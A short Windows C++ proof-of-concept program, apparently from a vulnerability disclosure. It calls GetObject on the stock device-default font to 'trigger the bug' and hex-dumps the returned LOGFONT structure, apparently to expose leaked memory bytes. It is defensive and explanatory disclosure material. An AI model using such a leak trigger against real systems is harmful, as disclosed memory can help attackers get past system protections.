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#include <Windows.h>
#include <cstdio>

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  // Get a handle to the stock font.
  HFONT hfont = (HFONT)GetStockObject(DEVICE_DEFAULT_FONT);
  if (hfont == NULL) {
    printf("GetCurrentObject failed\n");
    return 1;
  }

  // Zero-out the logfont memory to prevent any artifacts in the output.
  LOGFONT logfont;
  RtlZeroMemory(&logfont, sizeof(logfont));

  // Trigger the bug.
  if (GetObject(hfont, sizeof(logfont), &logfont) == 0) {
    printf("GetObject failed\n");
    DeleteObject(hfont);
    return 1;
  }

  // Dump the output on screen.
  PrintHex((PBYTE)&logfont, sizeof(logfont));

  return 0;
}